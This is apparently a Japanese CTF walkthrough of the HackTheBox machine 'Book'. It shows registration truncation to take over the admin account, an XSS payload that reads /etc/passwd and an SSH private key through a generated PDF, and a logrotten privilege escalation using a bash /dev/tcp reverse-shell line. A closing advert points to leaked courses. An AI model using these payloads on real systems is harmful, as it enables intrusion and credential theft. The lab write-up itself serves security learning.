
私は、HackTheBoxプラットフォームからマシンのファイナライズのために送信されたソリューションを引き続き公開しています。
この記事では、PDFドキュメントを介してXSSをLFIに悪用し、logrottenを使用して特権をエスカレートし、切り捨てられた登録が脆弱である理由も確認します。
実験室への接続はVPN経由です。情報セキュリティについて何か知っている人とのプライベートネットワークにいるので、仕事用のコンピューターや重要なデータがあるホストから接続しないことをお勧めします。
偵察
このマシンのIPアドレスは10.10.10.176で、/ etc / hostsに追加します。
10.10.10.176 book.htb
まず、開いているポートをスキャンします。nmapですべてのポートをスキャンするには長い時間がかかるため、最初にmasscanを使用してスキャンします。tun0インターフェースからすべてのTCPおよびUDPポートを毎秒500パケットでスキャンします。
masscan -e tun0 -p1-65535,U:1-65535 10.10.10.176 --rate=500

ここで、ポートで実行されるサービスに関する詳細情報を取得するには、-Aオプションを指定してスキャンを実行します。
nmap -A book.htb -p22,80

ホストはSSHサービスとWebサーバーを実行します。 Webから始めましょう。ログインと登録のページが表示されます。

登録してログインしましょう。

このサイトは、本を追加して管理者に連絡できるライブラリです。

これらのフィールドにはベクトルはありませんが、管理者のメールは知っています。 gobusterでディレクトリをループしてみましょう。パラメータでは、128(-t)、URL(-u)、ディクショナリ(-w)、および関心のある拡張(-x)のストリーム数を指定します。
gobuster dir -t 128 -u http://book.htb/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php

したがって、管理パネルを含む多くの興味深いページが見つかります。その後、承認フォームをひねることが決定され、すぐにソースコードに興味深いものが見つかりました。

つまり、ユーザー名の長さは10文字を超えてはならず、電子メールアドレスは20文字を超えてはなりません。ただし、チェックは、長さがチェックされず、フィールドが空の場合にのみ行われます。
エントリーポイント
そのため、これらの変数はサーバー側で指定された長さに切り捨てられる可能性が高くなります。それをチェックしよう。メールアドレスが20文字以上になるユーザーを登録しましょう。

次に、切り捨てられたアドレスを考慮してログインします。


ご覧のとおり、仮定は正しいです。「admin@book.htb 123」として登録して、通常の管理者としてログインしましょう。



この攻撃は、登録時にチェックするときに、値「admin@book.htb 123」がデータベースに存在しないために切り捨てられ、既存の値が上書きされるために発生する可能性があります。サイトを見回して、コレクション以外に興味深いものを見つけましょう。

PDF文書をダウンロードして開くと、登録ユーザーとコレクションのリストが表示されます。
ユーザー
私の経験から、サーバーに情報をアップロードしてPDFで表示する場合は、XXS to LFIを確認する必要があると言われています。これを行うには、次のコードをダウンロードします。
<script>
x=new XMLHttpRequest;
x.onload=function(){
document.write(this.responseText)
};
x.open("GET","file:///etc/passwd");
x.send();
</script>
一般ユーザーとしてログインし、すべてのフィールドでこの負荷を示すファイルをコレクションに追加します。

次に、管理者からコレクションを含むファイルをダウンロードし、/ etc / passwdファイルのコンテンツをそこに見つけます。

ロードでファイル「file:///home/reader/.ssh/id_rsa」を指定して、リーダーユーザーの秘密SSH鍵を読み取ってみましょう。

ただし、キーをコピーするときに、すべてがコピーされるわけではありません。このPDFをブラウザーで開き、テキストをコピーして通常のテキストファイルに貼り付け、最初と最後の行を強調表示します。

このファイルに権限を割り当てましょう。
chmod 0600 reader.key
そして、SSH経由で接続します。

ルート
ユーザーのホームディレクトリにbackupsフォルダーがあります。


それは私に何も与えませんでした。システムの基本的な列挙用のスクリプトを実行します。興味深いことは何も見つかりません。この場合、pspy64を使用して実行可能なタスクを調べます。そして、ここでrootに代わって実行されているlogrotateを見つけます。

Logrotateユーティリティは、ログの処理を自動化するように設計されています。彼女は、特定の条件とコンプライアンスのルールに応じて、彼らと一緒に必要なアクションを実行できます。たとえば、ログをアーカイブに圧縮したり、特定のサイズ、経過時間、またはその他のパラメータに達したときに別のサーバーに送信したりできます。そしてグーグルでの検索はすぐに何かを与える。


リポジトリをダウンロードしてプログラムをコンパイルします。
gcc -o logrotten logrotten.c
それでは、リバースシェルでファイルを作ってみましょう。
echo "bash -i >& /dev/tcp/10.10.15.60/4321 0>&1" > payloadfile
logrottenを開始して、別のターミナルウィンドウでログファイルに書き込みます。
./logrotten -p ./payloadfile /home/reader/backups/access.log

プログラムが正常に機能したことがわかります。

数秒後、数秒間保持される接続が表示されます。これは、ssh秘密鍵を表示するには十分です。

このキーに接続してフラグを取得しましょう。Telegramに

参加できます。興味深い資料、リークされたコース、ソフトウェアを見つけることができます。ITの多くの分野に精通している人々が集まるコミュニティを集めましょう。そうすれば、ITと情報セキュリティの問題について常に互いに助け合うことができます。